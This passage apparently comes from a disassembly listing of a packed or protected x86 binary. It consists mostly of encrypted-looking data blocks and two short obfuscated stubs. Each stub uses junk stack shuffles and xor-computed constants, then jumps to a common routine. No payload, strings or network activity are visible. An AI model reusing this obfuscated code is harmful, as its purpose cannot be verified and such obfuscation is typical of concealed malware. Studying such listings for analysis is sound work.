		dd 5E76456Fh, 0BA8AFD7Ah, 916F848Bh, 0B20148F7h, 0D1F8FB60h
		dd 228A50FCh, 87BC1F23h, 0A60C8EF7h, 52DA07Ch, 0EC2CA320h
		dd 97776D92h, 0C1CD4D7Ah, 708A5779h, 0F46F8497h, 79D3ED1h
		dd 0DA75FD78h, 54CD9BC2h, 0D0DE9B59h, 8D0C10EFh, 8DE9B7Ch
		dd 0E5779592h, 0F3360B7Ah
		dd 866E8872h, 0A60C10EFh, 54C54D7Ch, 0BA8AAD79h, 916F8497h
		dd 2BF69B20h, 277E9B7Eh, 1AB6561Ch, 7975FF6Bh, 0BE4E1529h
		dd 652FFD7Ah, 0A57B89A0h, 94913D59h, 7F5DF70h, 83FE4DBAh
		dd 9D3ED1h, 2A75FD7Bh, 0BC77E192h, 844EA77Ah, 49C5120Eh
		dd 7FA916D0h, 0CB75FCA7h, 0ED74BE8Ch, 1A26D30Fh, 7975FF7Bh
		dd 0BD360B20h, 65548872h, 0A56889A0h, 94913D59h, 7F5DF70h
		dd 0B5FF4DBAh, 8B986885h, 1F2FFB60h, 0DA51FD5Fh, 0F5133F71h
		dd 85E94DB9h, 9774BD92h, 61F44D7Ah, 0E5743592h,	0F22D157Ah
		dd 91DEFD7Ah, 0BC75FC57h, 9DDF60CAh, 0C7DF61CAh, 9775FC5Bh
		dd 4A13451Ch, 439D561Ch, 1A75FD7Bh, 7975FD4Ch, 0B69D561Ch
		dd 0EE75FD7Bh, 9FB657E7h, 699D57E6h, 2375FD7Ah,	0E575FCF3h
		dd 0FA74BE8Ch, 0F9C5F20Fh, 0BC6515D0h, 0DEDFFD7Ah, 487DF99Eh
		dd 97AA1584h, 56C5FD7Ah, 0E2CD3ED0h, 0D75FD7Ah,	630C0CEFh
		dd 4C0707Ch, 5D73E703h,	2C7F518Ah, 7AE002D0h, 873E703h
		dd 0E574E592h, 0F8254D7Ah, 4B9D5779h, 548A0284h, 5E75FC43h
		dd 2C7FA5CAh, 0C7C53ED0h, 61274DD0h, 1A8BE192h,	0FDCD9B85h
		dd 91DE9B4Bh, 438A036Bh, 0EEDFA7CAh, 9FB65722h,	3C225792h
		dd 0CB750C92h, 22FEA77Ah, 1AF63F51h, 9177747Eh,	438A008Bh
		dd 5E750592h, 252D4D7Ah, 69B65779h, 0D10C97FFh,	8FC87D7Ch
		dd 0F373E703h, 0FCF8EC0Fh, 0BA6F84A6h, 5C61152Ah, 1B9DFD7Ah
		dd 2775FD78h, 759D571Ah, 0D8A0287h, 0D8A00C3h, 87DF9CCAh
		dd 0A60C97F7h, 34C87D7Ch, 2F73E703h, 12F8F10Fh,	0CD6F84A6h
		dd 0E4DE152Ah, 4AB6FD7Ah, 7975FD7Eh, 0C5846885h, 0C3F8FB60h
		dd 296F8343h, 3D6DF9F0h, 619C4DB9h, 8E9D562Dh, 0A875FD7Ah
		dd 0BB5E3AF1h, 357115F9h, 0CB8A3E78h, 296F8497h, 96514ACEh
		dd 74C1FF0Eh, 4E13F2CAh, 0F275C992h, 279DAE7Ah,	0E675FD7Ah
		dd 0BEB5FEF0h, 25B5F179h, 68B65778h, 0D10C10EFh, 0EA917D7Ch
		dd 42F539FAh, 2EDE9B75h, 415A15D1h, 0D52F0285h,	0ACB7D6BDh
		dd 95FCF992h, 0CB7345B9h, 708AFD7Ah, 0F46F848Bh, 0A560F7h
		dd 0A0F8FB60h, 4ECD3E39h, 0D075FD7Ah, 8D0C0CEFh, 0CEB57E7Ch
		dd 1A8935F1h, 0E80C10EFh, 8E97577Ch, 43BE15B9h,	1DFF0285h
		dd 5A72D97Bh, 7F76778Eh, 0CB75FC6Ch, 1DB61608h,	0A7890883h
		dd 0BDF611F1h, 0BC9D9D86h, 475FD7Ah, 513C17FBh,	0EAFCFB60h
		dd 27CF7D86h, 0E573E703h, 0F2EC7975h, 73CDFD7Ah, 4375FD7Ah
		dd 440C0CE8h, 0ADFCBD7Ch, 916F848Fh, 79F835F1h,	0E36F8267h
		dd 8B986F85h, 7FFDFB60h, 4801F3Ch, 5E75FD6Dh, 56807F79h
		dd 1A35FB60h, 0D10AECE0h, 0E1B67E7Ch, 4B22FEF3h, 7975FD64h
		dd 0C5807779h, 0ECF8FB60h, 296F8385h, 2F2B5989h, 0CB75FD72h
		dd 9C846F85h, 0AF6FB60h, 7185897Eh, 0BC72447Ch,	5A7DFD7Ah
		dd 0F7C3F24Bh, 2E761EBBh, 0CB75FD74h, 5C44E172h, 0F275FD76h
		dd 0C044F972h, 0BC75FD61h, 0E744F972h, 2F75FD66h, 7F44F972h
		dd 348A015Bh, 848980F3h, 3B8980F1h, 7F9DADB9h, 9C75FD7Ah
		dd 7A110222h, 6BFCA58Eh, 16E9055Eh, 0B389D93Eh,	7867C92Ch
		dd 0F2B6AD3Ah, 7975FD7Ah, 0BC75FD7Ah, 0B2FEA87Ah, 2F75151Ah
		dd 162FFD7Ah, 0D10ACD90h, 1CCF707Ch, 7973E703h,	71CCF50Fh
		dd 4F75FD7Ah, 9CBC9CDEh, 0A226FD7Eh, 8D0C04E7h,	0D3497D7Ch
		dd 0BE71887Bh, 0A9771683h, 0F2203E82h, 0BC9D9D96h, 475FD7Ah
		dd 501C17FBh, 25F8FB60h, 0CD6F8483h, 5C7D80F1h,	0F275FD72h
		dd 0B0145989h, 0DC75F9B8h, 278C40F7h, 0EF46FB60h, 9775F5C3h
		dd 0AADF0E7Ah, 58F89DB9h, 0F46F8483h, 7874C2FBh, 0B000FC7Bh
		dd 5F7182FBh, 5A74FC7Bh, 969E0479h, 0ABB69C82h,	9C8C40F7h
		dd 0F3CDFB60h, 0C075FD7Ah, 0BC75FD72h, 9D145789h, 0EFFE3DF1h
		dd 0ED7378F7h, 0D08AFB60h, 3BE9CA8Bh, 60000000h, 161DBD8Bh
		dd 0EF830613h, 8BC93304h, 8320BBC1h, 0C783EDB8h, 8BE04h
		dd 0E8D10000h, 0D323D21Bh, 0F4EC233h, 0FFFFF185h, 78941FFh
		dd 100F981h, 820F0000h,	0FFFFFFD3h, 0C88BC361h,	1EE9h
		dd 0CF0F9400h, 74h, 5 dup(0)
		dd 0E9000000h, 503h, 3A3B3FFh, 0E1C18D1Dh, 0FDDD6DBFh
		dd 0E6C48CDBh, 0FFDF75C4h, 0BB0A63CCh, 0C9173999h, 0B4072989h
		dd 0C1143694h, 411E2B8Bh, 0B83552CCh, 5C061B16h, 0B3226CBDh
		dd 109DB557h, 49163E8Bh, 2106A5C4h, 0FA70F1A0h,	3F7E0A2Dh
		dd 323FA08Ah, 0F8DA8953h, 0E5CBEB69h, 6569F854h, 775B78D4h
		dd 0B4D564E4h, 4999BD2Ch, 0BCA33405h, 1E4F4796h, 109E51C4h
		dd 0D869088Dh, 64D52FB9h, 91311BAEh, 133D8EB4h,	143487C9h
		dd 93F94B6h, 0C9C61638h, 6CE61779h, 35109E52h, 9EA0B1D0h
		dd 4021400Ah, 18B1DBF1h, 5373D56Ah, 0E170DC6Dh,	9E523190h
		dd 73DF6D10h, 250E0E2h,	56F31D33h, 710A886Fh, 41778D4Bh
		dd 0FA4B6FA3h, 3A820352h, 3EE3h, 6CBD7700h, 50DFC3E0h
		dd 0D829B800h, 109DB57Ch, 0C4E861F1h, 0A341EAF4h, 15Ch
		dd 6DBD0200h, 0DC6E50E1h, 0A06A5572h, 0BBE86C0Bh, 5B7FEEF6h
		dd 62F5440Ch, 57E79B30h, 60F1D7F7h, 0BD74CEECh,	7155E470h
		dd 0E43EAFE1h, 0AD109DB4h, 52380968h, 428F43B8h, 3B8EB412h
		dd 0AAFE4011h, 0AE3B4ADDh, 177697A6h, 0C0970146h, 3F0BA385h
		dd 472E3F5Eh, 5E0E2ECBh, 6A34129h, 6Eh,	4FE0C25Ch, 160EA3Eh
		dd 0C4895B7h, 143C8BAFh, 203123B2h, 4688D7E1h, 560958F2h
		dd 66F39F1Ch, 0C8EFD0EEh, 8CC48E44h, 50824A57h,	0C0025301h
		dd 0BAD81B6Fh, 0D5B5F544h, 52BCA5B4h, 0FFD593B9h, 647DA341h
		dd 5E000000h, 0D1920C81h, 3A5B109Dh, 0BE064498h, 0E470BD24h
		dd 6ADE7155h, 61DAF8DBh, 923024B1h, 39D28AB5h, 0FB88DF3Eh
		dd 0E0C267F1h, 95B7014Fh, 1B380945h, 0B54DC93Ch, 0F716109Dh
		dd 0B53F9EEDh, 67B8109Dh, 6B9AF043h, 109DB4EFh,	0AC3455B8h
		dd 213EE962h, 9DB572ECh, 12DA3B10h, 41EA8A4Ah, 132A3h
		dd 0C2080000h, 0B7014FE0h, 0A8074395h, 3911A387h, 1E78E928h
		dd 0E7109DB5h, 8BCF1EA6h, 0FF43123Ah, 8CCE9FAFh, 0D044153Bh
		dd 0A4382D9Eh, 0E96598B7h, 0B2109DB4h, 8AFF8953h, 0E8C684D8h
		dd 0E6C5C1A8h, 8EB1A677h, 27365716h, 1CBA9223h,	98A9A336h
		dd 931094BBh, 268DC08h,	2CCD4BBAh, 8C060A8Ah, 97F243EFh
		dd 0BD194C4Ah, 860A8A2Ch, 0B6D76607h, 0F1D6F7D7h, 51E7DE19h
		dd 5D6F79C3h, 0E36FBDCCh, 3E8FB382h, 0AC8EB10Eh, 0E2233218h
		dd 8A121773h, 51F94B0Ah, 0AA398302h, 1DD566E4h,	4AE2C08Ch
		dd 5AADB78Ah, 10332h, 0BEA30800h, 377AEBC8h, 40168EBCh
		dd 3D87C91Ah, 0FADC6DB0h, 0E3C5E567h, 676BFA52h, 1FE776D6h
		dd 0D76A18B1h, 3FFD5575h, 0A75AAD1Bh, 3Bh, 0C6BCA3BBh
		dd 4BFA74E9h, 0BF036F62h, 0AEBFDE6Eh, 9DB5035Fh, 0A4A43790h
		dd 2C20B195h, 0B348CA1Dh, 47C4AEC2h, 8596681h, 0F594F544h
		dd 4C0BA7D6h, 0F114EF62h, 9AF6D1h, 0C25C0000h, 6EFF4DE0h
		dd 5099A52Fh, 59649936h, 42168EA1h, 6CBEE4C3h, 0AA3253E2h
		dd 86C6173Bh, 9DAF0228h, 87CD1C3Eh, 0FC5FAE3Dh,	3D0A8A9Fh
		dd 0E06EC0E2h, 3D8E3051h, 0CA3FC913h, 0AAA6351Dh, 60727A9Bh
		dd 5F5F7FCDh, 2E5F7C0Ah, 10741ECDh, 9E842362h, 0ED7C440Eh
		dd 65F458E9h, 0ED7CD061h, 69F85CE9h, 9580F973h,	8B3CCD3Fh
		dd 62A9AAA4h, 0BA02C2E0h, 8423637Eh, 52D832A3h,	7CA10470h
		dd 5F486774h, 0CE8C8C78h, 53CF3E39h, 1C04708Ch,	0B15098F9h
		dd 0A5A0C6Eh, 86248203h, 0EBC8BEA3h, 8735397Ah,	0FE4FCE16h
		dd 138FFEE1h, 0DC0A8335h, 8C1D2FB9h, 6DC0E2C0h,	0F5FF8EDFh
		dd 855C2DBEh, 6481935h,	86C899B3h, 0F811731h, 3E98CD7Ah
		dd 797ADAAh, 6B54E786h,	0B79E5D44h, 529A6530h, 0AB9443B8h
		dd 0D0C6913Ah, 0E0F2FAF3h, 0FFE0FF4Dh, 0AD9E148Eh, 30B8DD97h
		dd 901D0522h, 0CC1475C4h, 252378Ah, 1E203150h, 5E72C38Dh
		dd 42065981h, 0C04A92F3h, 8B39C4Bh, 9F1404F2h, 8EEF5FEFh
		dd 8BC11446h, 9C12032Ch, 88314EEEh, 0A351240h, 8C5359C5h
		dd 54864ECCh, 436C4B01h, 981026F4h, 47A62E2Fh, 30Ah, 0E17BA800h
		dd 54E571BDh, 0DC6DDF72h, 52E365FAh, 0E372E070h, 330252DFh
		dd 0C392C20Fh, 1120307Fh, 9EAF9B2Dh, 15242ABCh
		db 22h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		push	553Dh
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], edi
		push	6D281E9Dh
		pop	edi
		neg	edi
		add	edi, 71FB69FBh
		xor	edi, 2C9CB1Ch
		mov	esi, edi
		pop	edi
		push	esp
		mov	edi, [esp]
		add	esp, 4
		push	eax
		mov	eax, 8
		add	eax, edi
		push	esi
		pop	dword ptr [eax]
		pop	eax
		mov	edi, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		dd 68C0ECA3h, 3AF970EAh, 0F5B3A6CBh, 0B8F97D91h, 61A84B3h
		dd 0E0FFC503h, 413C4D4Ah, 2B1A9F48h, 4183B9A8h,	38722C1Dh
		dd 19061565h, 38FD3C74h, 6811E9FCh, 292074D9h, 43FD7E5Ah
		dd 1B23797Eh, 43308F7Ch, 3D677558h, 5ED36120h, 52167FE6h
		dd 6B8FBA91h, 9384C8h, 263179E8h, 9B704F5h, 0FC7C038h
		dd 5A209574h, 53DB5441h, 6CC393CFh, 7C56B2Dh, 79CE58F8h
		dd 41B82809h, 466069DDh, 157876C6h, 24EA72B9h, 69B4EB2Fh
		dd 21E9h, 0E3E7E600h, 53h, 6 dup(0)
		dd 0A3E90000h, 6800000Ch, 61A87E8h, 0F8FB6BE9h,	88B368FFh
		dd 61E9061Ah, 68FFF8FBh, 61A8971h, 0F8FB57E9h, 8A0C68FFh
		dd 4DE9061Ah, 68FFF8FBh, 61A8CF7h, 0F8FB43E9h, 8FD468FFh
		dd 39E9061Ah, 68FFF8FBh, 61A90DFh, 0F8FB2FE9h, 0F462F0FFh
		dd 0EC62F4D6h, 0F258ECCEh, 0F35DEED4h, 0F460EDD3h, 2348E7D6h
		dd 3A20BE96h, 280AA8AAh, 3315B593h, 3F0CAAA2h, 3B71ED20h
		dd 0E73A16B8h, 0E470BD7Bh, 3547655h, 0DC50664Dh, 1C12BEB4h
		dd 1B2D82D4h, 20667BBBh, 0B01B5283h, 230C168Eh,	0EC95D17Bh
		dd 85E2EAE6h, 0D160EC3Dh, 61F05CEDh, 0CA5D4120h, 0BF4E1F7Eh
		dd 0A8A2F5Fh, 38DF5CB6h, 0BC8DBF12h, 0DCB935Dh,	0B55AAD9Ch
		dd 42h,	0ABEA389h, 9DB57FDBh, 0A4C54810h, 0BA922307h, 75626AABh
		dd 8EAB1500h, 0E5FBE16h, 8A951F7Fh, 430B5B0Ah, 0CD7BD0F2h
		dd 0C2375B7Ch, 0B800AD3h, 0AD0A13E1h, 7DCDF55Ah, 0B70180D1h
		dd 760h, 0CCC4F600h, 6A000007h,	51E06CBDh, 1CADDC6Dh, 81E02130h
		dd 8AFCE521h, 0A37DB82Dh, 8706168Eh, 0A0B20228h, 0DA38C918h
		dd 310A8A9Eh, 8CB364D5h, 0FFBA6E52h, 5CEFD31Bh,	0B43C5DECh
		dd 0AD176C2Ch, 25D45Ah,	0A36A0000h, 7AEBC8BEh, 168E989Bh
		dd 78D2666Ch, 78C9A8E9h, 8A888909h, 15A6E00Ah, 0AD3E29E7h
		dd 0D1915Ah, 0BDA50000h, 6D51E06Ch, 641EB1E0h, 562C8DD4h
		dd 84E584D1h, 0C4091B5h, 163E8BAFh, 0A52F25B4h,	9BB10446h
		dd 8DC7163Ch, 45935DBCh, 9E7C9816h, 8BC11410h, 98B4052Bh
		dd 10766BC9h, 813F42B3h, 0F518168Fh, 0F690D9D5h, 81D4F6D9h
		dd 6E7ED80Dh, 0C6470A8Bh, 6D7796A7h, 75D73B1Eh,	32A38410h
		dd 475C3D8h, 0F7747CA1h, 0E7163996h, 475C46Bh, 34E6CC9Ch
		dd 0B9864548h, 6B4F8C54h, 725876DEh, 82FC71E3h,	0AB79FDB2h
		dd 9F9E1FCh, 19A50000h,	2BBB9D3Dh, 0B9D8323h, 2AB99F3Fh
		dd 13A28826h, 0FD326141h, 0B3134190h, 0B3133F8Dh, 0B00E3A8Dh
		dd 0B515378Ah, 0D832A3ACh, 0A116B83Bh, 70BDD688h, 264EF21Eh
		dd 564F87Ah, 1C3284A6h,	11A486D4h, 0A33D9B3Bh, 7AEBC8BEh
		dd 168E989Bh, 3B18296Ch, 896DE91Ch, 0D7360A8Ah,	89207E0Dh
		dd 1B770A8Ah, 3EBE7E9Eh, 0A0265AADh, 3C000000h,	51E06CBDh
		dd 51FF5072h, 5CF84587h, 0B0FE7C0Dh, 587F109Dh,	42B7D455h
		dd 0BE2F8CE1h, 109D2564h, 0EEE0E82Dh, 0F0D2F15Bh, 3D5CED5Bh
		dd 3283A5B3h, 0F4ED4B1Ah, 0BDC03592h, 96168E2Ah, 12575777h
		dd 14265774h, 0D107476h, 0BA072B88h, 0C7163C9Ah, 1750D88Dh
		dd 0C66579FCh, 92E8Bh, 74E27000h, 6CE27456h, 72D86C4Eh
		dd 73DD6E54h, 74E06D53h, 0A3C86756h, 0BAA03E16h, 0A88A282Ah
		dd 0B3953513h, 0BF8C2A22h, 3CF16DA0h, 67BA16B8h, 2DDC2FBh
		dd 15620A27h, 0DB6A6C74h, 0E6775979h, 0BDEA4866h, 69C91A6Ch
		dd 84D88037h, 11751D9Bh, 0CDACCD4Eh, 0D47ACCEEh, 2DBC0485h
		dd 16B49829h, 8FC31139h, 3F955FBEh, 52342D4Eh, 78610075h
		dd 1372168Fh, 45DA5DF0h, 2940B346h, 760F7E5Dh, 7766B73Ah
		dd 0E94716h, 8FDE76C3h,	1D506F0Eh, 60A139EEh, 64E4775Bh
		dd 0F6D5B4D5h, 0EBCB81D4h, 621EE5CAh, 3BBED5F6h, 1EDBAE31h
		dd 7D1B082h, 0A5D874C5h, 0CA23BBEDh, 70627F2Eh,	2E000008h
		dd 3218B6A0h, 2A10AEA0h, 3416B496h, 2B0DADA3h, 2518B69Eh
		dd 54E10Ah, 223080A2h, 3F099E84h, 2428B99Fh, 6392BD86h
		dd 16B83DE7h, 0BDC579B0h, 0DFC3E06Ch, 2BBA0252h, 5CEFD40Dh
		dd 0BF2E8DECh, 168EAF96h, 163996F7h, 8A9B6BE7h,	7D1340Ah
		dd 77C5EDCAh, 6CBF11DBh, 0FC5F1816h, 0DF71BEA6h, 4B6B0A6Bh
		dd 5976D265h, 28B0776h,	31540A8Ah, 4DC938A7h, 340A8A03h
		dd 0A89F2D6h, 3695F1F8h, 7AFDFEC7h, 0ED7B5F10h,	11350465h
		dd 23D98CC0h, 5079FE90h, 7D5BC99h, 7DC90000h, 87D7F9D9h
		dd 6FC1E7C7h, 86D5FBDBh, 77C6ECCAh, 61CEFDDDh, 3797BD0Ch
		dd 2F8FC311h, 3492B609h, 3191BB0Eh, 5CB62728h, 2516B83Fh
		dd 0BEA352ECh, 0D37AEBC8h, 34168EBFh, 0C495BF0Eh, 36152445h
		dd 0F4C4C014h, 9B290C16h, 889D8B9h, 123C8EC0h, 8D0B8AB5h
		dd 464480F9h, 607F607Eh, 8A0CB12Dh, 0D11B7A0Ah,	4E1F2F7Fh
		dd 318EF6F2h, 0A719290Eh, 0E391FBF7h, 3068AAD9h, 9310A8Ah
		dd 81C697BBh, 921B0EEDh, 9B254426h, 6A7ECF4Eh, 4FDF9328h
		dd 4BE0A93Ch, 4CCD9CFDh, 5E8D2Dh, 220A89DBh, 0EC21BEC6h
		dd 0A89DB96h, 0F2D8F617h, 0EED1EE60h, 89DB237Fh, 1FA9EC0Ah
		dd 0DAC931C0h, 36230A89h, 9CD1C514h, 0A89DA42h,	5AEB8A0Bh
		dd 0E257B13Bh, 94C00D35h, 0A0B1A332h, 0E5755761h, 0D7674969h
		dd 0C6E9E677h, 89DA3B97h, 3781040Ah, 89DA9AC8h,	31CA440Ah
		dd 0C3D4A186h, 3ED3A044h, 7612A4B6h, 0EA56D8B2h, 82D2F429h
		dd 610081D0h, 691B4541h, 0EBBA1B4Ah, 0D4FB0A89h, 0B84BC4D1h
		dd 45A22A8Ah, 6FBFE3C0h, 275615DFh, 5EE8E30Eh, 5C80F995h
		dd 26CB4B9Ch, 0F32F597Eh, 636377EDh, 1414259h, 0A3180000h
		dd 7AEBC8BEh, 168EA0D3h, 38987BA4h, 0BE522084h,	7754B936h
		dd 6C4A0253h, 7A59F346h, 0C3234D55h, 6F79E859h,	986381F0h
		dd 266C91C7h, 4CDD95h, 1F2D80A2h, 8EF6F24Eh, 97B90A30h
		dd 1B3184C6h, 84495BBh,	0CF1CC839h, 0CD45D4BCh,	1933863Ch
		dd 64697B9h, 95EFF937h,	8EC41436h, 6AE41946h, 3310B8CCh
		dd 7BCDF5D2h, 0F1D705CFh, 0B39F2D64h, 330263A2h, 3A99EBF5h
		dd 0B8CC53CBh, 759B8410h, 36369FD5h, 0B96925CAh, 706A6E12h
		dd 3C9AFB68h, 0B889C316h, 0F54A4796h, 0E2830253h, 6DDD6F53h
		dd 0E769FADCh, 7B108256h, 3FBC368Ah, 0AC0A4293h, 2A5B3386h
		dd 10B99AB0h, 22B21479h, 0A4005130h, 7AEBC8BCh,	10B99B28h
		dd 401FBCE1h, 0B99B51CDh, 0F1FB1A10h, 0E06CBDE3h, 20557251h
		dd 10B99AA6h, 0B4A62E6Fh, 0A88A291Fh, 2C2B3A18h, 0B99B5DB9h
		dd 86E72610h, 0F779AF3Eh, 0CF7DD082h, 1178C9EFh, 0D67CCCC3h
		dd 2987D6B7h, 0F766453Fh, 10B99AA7h, 0B3953558h, 3A192820h
		dd 0A4D36C15h, 3F89F849h, 3897EDF3h, 0B91E59C5h, 6EC00210h
		dd 52281E0h, 0B91E76D0h, 0CD1B3F10h, 3455B485h,	0BD14AEACh
		dd 0DFC3E06Ch, 2C6DFC4Ch, 6F7AB6A4h, 0C045B817h, 99168E9Dh
		dd 1D2C20B1h, 1C3E9DFCh, 0FF2181C7h, 1B3F9CACh,	50B180C8h
		dd 8A880273h, 0CC510A8Ah, 22476504h, 0CB8C359Eh, 1E7F7E4Fh
		dd 0CD054CC1h, 2766107Ah, 0A967E716h, 60890476h, 0AD548926h
		dd 0E0A67B3h, 499CBE8Fh, 44BC4E03h, 16D573EBh, 4EA3Bh
		dd 3026B400h, 301EB092h, 2E1CB092h, 3719AA90h, 3024B197h
		dd 5F8CA392h, 0FE2482D2h, 2406A4AEh, 3719B98Fh,	3B08A6A6h
		dd 4165E114h, 0FB2E16B8h, 0C8BEA347h, 0A4577AEBh, 6DB0168Eh
		dd 0A2FC714Eh, 0D60A8A9Dh, 1B7ACB85h, 60FFC94Ch, 8A9DB011h
		dd 0F258EC0Ah, 7CCC5F63h, 0EAB25EDh, 0D7749E27h, 0AD0FE7B5h
		dd 0EA1895Ah, 0BC6BB23Ah, 0CF000000h, 9DB54270h, 0F1D3E110h
		dd 0D2CEEC60h, 9FCEED95h, 109DB54Bh, 0FD228104h, 31C6033Eh
		dd 94539D33h, 9FDC90B7h, 6AD9D2Fh, 973B9B8Fh, 9CBE0646h
		dd 63A30349h, 86A9067Ch, 993D13A4h, 4BBA0246h, 109E25D7h
		dd 1F3C0D90h, 1CA4AC3Bh, 0D4DFA73Ah, 1A9B48DAh,	95F16443h
		dd 5E109E2Ah, 56815E3Fh, 0CB3835D4h, 0ECAB4D9Eh, 0FC739037h
		dd 3373616Bh, 5679562Ch, 9E84AB27h, 0C7117410h,	851B5B8Ah
		dd 0A6AC109Eh, 65E37815h, 85D4B5D4h, 0A5D46504h, 109EC525h
		dd 0BC8CFD6Fh, 87CD1CA3h, 993657B6h, 8E2D21B1h,	9E45035Fh
		dd 7F49CC10h, 44C32352h, 3154109Eh, 0A5B691h, 0A31C0000h
		dd 0C7EBC8BEh, 584D575h, 0A66F9EBBh, 77168EBFh,	5B8A0053h
		dd 0A8AA8FFh, 152445C8h, 607FECF4h, 8AA8B12Dh, 470FE20Ah
		dd 5DFF710Dh, 5FEE8F0Eh, 4565ED7Bh, 7A003F68h, 0B79A1714h
		dd 0BA8BC313h, 3D25915Bh, 0A1F96C4Bh, 620A89E7h, 0AF32695Dh
		dd 492865AEh, 30689F8h,	2561E94Fh, 51A86894h, 3C105AADh
		dd 26000000h, 0EAC9BFA3h, 9DB51F7Bh, 94A5E810h,	923022B2h
		dd 0E6794C96h, 0D3B2D362h, 0B55181F4h, 382109Dh, 0F543C332h
		dd 638D109Dh, 0C0C822E6h, 4ADEC4E3h, 1949B800h,	4A109D75h
		dd 0BD4DEBCBh, 7251E06Ch, 87037255h, 50109DB4h,	0B4429CCDh
		dd 8A0B109Dh, 8FBD1042h, 8CFAEF2Fh, 0A283BE2Fh,	890C168Eh
		dd 9DC949B8h, 0E6200A8Ah, 5085A255h, 0A8A9DF6h,	0CE965EBFh
		dd 5AAD0F0Eh, 49B6h, 0E0C28C00h, 0C9F5FF4Dh, 94C9E6A0h
		dd 168E98B5h, 0C7360786h, 0A8A8947h, 91573583h,	0C21F73C7h
		dd 4B8FDEBFh, 900455FDh, 71786DDEh, 0D4F3A415h,	8A8025A1h
		dd 8AFEE0Ah, 2D97D075h,	0B32BB59Eh, 5AAD59E5h, 0CD4Dh
		dd 6CBDF100h, 0E06D51E0h, 0C4E6E574h, 0C012DA70h, 518EDF6Dh
		dd 0DA323666h, 2F7E3B8Dh, 5A7C4425h, 0F6654507h, 109E4578h
		dd 0CBEB61F4h, 0D674C8EAh, 0D379CC0Eh, 4B3B2682h, 15ACF96Ch
		dd 0E2C5168Fh, 8B141773h, 33BDE00Ah, 0EA6499B6h, 0B30A8B13h
		dd 93933352h, 6A9B384Eh, 10757CD0h, 3317B4D9h, 2E11AEA6h
		dd 0E495BB0Ch, 4756A6Ah, 0CC0AD233h, 0D474C7EBh, 9ABC0485h
		dd 0BC54094Bh, 0C179FD11h, 20D2F2Ah, 45910000h,	3F8FB111h
		dd 3789AF0Fh, 3E8DB313h, 3F8EB412h, 0A986B515h,	7F5FF544h
		dd 67470B59h, 7C5AEE41h, 69490356h, 940E7F60h, 5D16B843h
		dd 70BD1A44h, 0C2E8C7E4h, 3150E173h, 9DB4C640h,	0C60E8F10h
		dd 2D1FB298h, 0E0C2338Dh, 46D9394Dh, 2DC5A537h,	549CFD4Ch
		dd 268501E8h, 4F99AF04h, 2FF2D302h, 42C3168Fh, 200482F3h
		dd 2F5B0A8Bh, 81A2729Ah, 0E70A5AACh, 30000000h,	0C3E06CBDh
		dd 0E06ABEE4h, 0C5413051h, 8E109DB4h, 3051F74Ch, 0C81539A8h
		dd 0F3D87CC9h, 0E22D22D3h, 0C091F060h, 9EA0B131h, 0B09C2D10h
		dd 0AF9D3012h, 3F47A29Eh, 2426BAA0h, 0E34EBF9Ch, 0FC168F70h
		dd 717497D3h, 983F4A8Bh, 32C2BE42h, 9F4C9475h, 820882B8h
		dd 75C4F343h, 0FFDFBEDFh, 0FFDCAABFh, 75AC938Eh, 9A395C10h
		dd 454495BDh, 0B13B5AF6h, 6542129Fh, 0D564F03Dh, 0E88834EEh
		dd 5839DB91h, 0D1604290h, 5E10CE83h, 0AA4179FCh, 102AFh
		dd 84E9C00h, 183688AAh,	64498BAh, 1F3182A8h, 84C99BFh
		dd 57B47BAAh, 466C4A0Ah, 5C7E5CF6h, 3F614107h, 73805EEEh
		dd 449DF96Ch, 336616B8h, 0E470BD0Fh, 0FE56E3C7h, 71D96B6Fh
		dd 0A88AC810h, 0B6973715h, 2C20B199h, 9DB4E13Dh, 88C41510h
		dd 8A0B58B9h, 6CBD9842h, 0C3E4C3E0h, 9DB53892h,	0ED9C0110h
		dd 109DB571h, 5211DB3Ah, 38584A75h, 0CB250BC4h,	634BA9E4h
		dd 854FC38Fh, 6D4A0253h, 0B5AF645h, 3314428Ah, 1265E114h
		dd 0EF2E109Eh, 0F690D9E5h, 8EEBA4D9h, 27301687h, 89814F7Fh
		dd 0D5C3DFEh, 0F6D478C9h, 720581D4h, 311DAD1Dh,	0D9BAE120h
		dd 0BD8CED98h, 4A35DF4Ch, 710A883Fh, 0F94FE4C6h, 4CDDEFh
		dd 1F2D80A2h, 95BB0C4Eh, 0F0111136h, 7CC287FFh,	0B4D564EAh
		dd 885C0BD5h, 6CBD7506h, 4DE0C2E0h, 14736EFFh, 4C000000h
		dd 4EA0FA6Bh, 2469B489h, 5E7B429Ch, 0D263E97Ch,	0BDAF29B3h
		dd 7254E571h, 0FADC6DDFh, 7052E365h, 0DFE372E0h, 0F330252h
		dd 7FC392C2h, 2D112030h, 0BC9EAF9Bh, 2215242Ah,	81E68956h
		dd 4C6h, 4EE8300h, 2474FF56h, 48F5E04h
		db 24h,	5Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebp
		push	61A8633h
		mov	ebx, [esp]
		add	esp, 4
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		push	ebx
		push	esi
		mov	esi, 4C8A1035h
		add	[esp+4], esi
		pop	esi
		pop	dword ptr [ebp+8]
		sub	dword ptr [ebp+8], 4C8A1035h
		mov	ebp, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		db 58h,	0B8h, 6
		dd 3061A92h, 0C3E0FFC5h, 254D9C76h, 310D8387h, 9038A8B9h
		dd 127E92BCh, 0EB0F92FBh, 0EB1042C4h, 421A93F1h, 0D221AE58h
		dd 0CB2A5C6Dh, 7E4DA0A4h, 637757C4h, 0B25C4390h, 4E13B130h
